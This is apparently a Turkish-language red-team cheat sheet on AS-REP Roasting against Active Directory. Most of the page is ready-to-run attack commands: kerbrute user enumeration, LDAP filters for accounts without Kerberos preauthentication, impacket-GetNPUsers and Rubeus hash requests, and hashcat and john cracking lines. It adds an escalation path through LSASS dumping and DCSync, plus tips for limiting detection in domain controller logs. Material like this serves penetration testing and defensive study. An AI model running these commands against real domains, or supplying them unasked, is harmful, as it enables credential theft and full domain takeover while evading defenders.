Skip to content

AS-REP Roasting

MITRE ATT&CK · T1558.004 verified · 2026-07 difficulty: easy

AS-REP Roasting, “Do not require Kerberos preauthentication” seçeneği açık olan kullanıcı hesaplarını hedefler (userAccountControl bit DONT_REQ_PREAUTH = 0x400000). Bu hesaplar için KDC, istemcinin kimliğini kanıtlamasını beklemeden kullanıcının uzun vadeli anahtarıyla şifrelenmiş bir AS-REP döndürür; şifreli kısım offline kırılabilir.

Parola zayıfsa hash kırılır ve hesap kimliği ele geçirilir. Kimliksiz yapılabilir (kullanıcı listesi yeterli) — bu yüzden erken oyun için değerlidir.

Normal: AS-REQ + preauth (timestamp kullanıcı anahtarıyla) → AS-REP (TGT)
AS-REP Roast: AS-REQ (preauth yok) → KDC doğrudan şifreli AS-REP döner
→ saldırgan ciphertext'i hashcat -m 18200 ile kırar
  • Geçerli kullanıcı adları (kerbrute / LDAP / OSINT).
  • Hedef hesaplarda preauth kapalı veya kimlikli LDAP ile bu hesapları filtreleyip sadece onlara istek atma.
  • DC’ye UDP/TCP 88 erişimi.
  • Kırma için wordlist / kurallar (hashcat/john).

BloodHound: AS-REP Roastable Users / DontReqPreauth özelliği.

AS-REP Roast · GetNPUsers

embedded tool
Generated command
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 -format hashcat -no-pass -outputfile asrep.hashes
  1. Kullanıcıları keşfet — kerbrute, RID cycle, null session, OSINT:

    Terminal window
    kerbrute userenum -d domain.local --dc 10.10.10.5 users.txt
  2. Preauth kapalı hesapları bul (kimlikli, tercih) — gereksiz AS-REQ gürültüsünü azaltır:

    Terminal window
    ldapsearch -x -H ldap://10.10.10.5 -D 'user@domain.local' -w 'Pass123' \
    -b 'DC=domain,DC=local' \
    '(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
    sAMAccountName
    Terminal window
    Get-DomainUser -PreauthNotRequired | select samaccountname
    Terminal window
    nxc ldap 10.10.10.5 -u user -p 'Pass123' --asreproast asrep.txt
  3. AS-REP iste — kimliksiz liste veya kimlikli tek kullanıcı:

    Terminal window
    impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 \
    -format hashcat -no-pass -outputfile asrep.hashes
    Terminal window
    impacket-GetNPUsers domain.local/user:'Pass123' -dc-ip 10.10.10.5 \
    -request -format hashcat -outputfile asrep.hashes
    Terminal window
    Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes
  4. Offline kır :

    Terminal window
    hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
    Terminal window
    hashcat -m 18200 asrep.hashes rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    Terminal window
    john --format=krb5asrep asrep.hashes --wordlist=rockyou.txt
  5. Kimlik bilgilerini kullan — PtH gerekmez; parola ile SMB/LDAP/WinRM, ardından BloodHound yolu.

$krb5asrep$23$user@DOMAIN.LOCAL:ciphertext...

23 = RC4-HMAC (etype 23). AES etype’lı AS-REP nadiren roast senaryosunda görülür; hashcat modu etype’a göre değişir — klasik roast RC4’tür.

AS-REP roast svc_legacy → kırılan parola
→ AdminTo on FILE01 (BloodHound)
→ LSASS dump → DA session
→ DCSync
veya: AS-REP user ∈ group with GenericWrite on CA template → ESC1
  • Kimliksiz büyük userlist ile GetNPUsers, DC’de çok sayıda Kerberos log üretir; önce LDAP ile adayları daralt.
  • Kırma tamamen offline — hedefe ek gürültü yok.
  • Başarılı logon sonrası spray yapma; eldeki parolayı lateral için kullan.
  • Servis hesaplarında preauth kapalı + zayıf parola sık görülür; önce onları hedefle.
  • -no-pass unutulursa araç parola sorar / fail.
  • Domain FQDN yanlış ( domain vs domain.local ) → principal hataları.
  • Clock skew AS-REP alımını bozabilir.
  • Kırılan hash yok = preauth kapalı hesap yok veya parolalar güçlü; Kerberoast ve spray’e geç.
  • GetNPUsers domain.local/ sonunda / şart (impacket syntax).

Kerberoasting · Enumeration · Pass-the-Hash (kırıldıktan sonra parola yerine hash de kullanılabilir)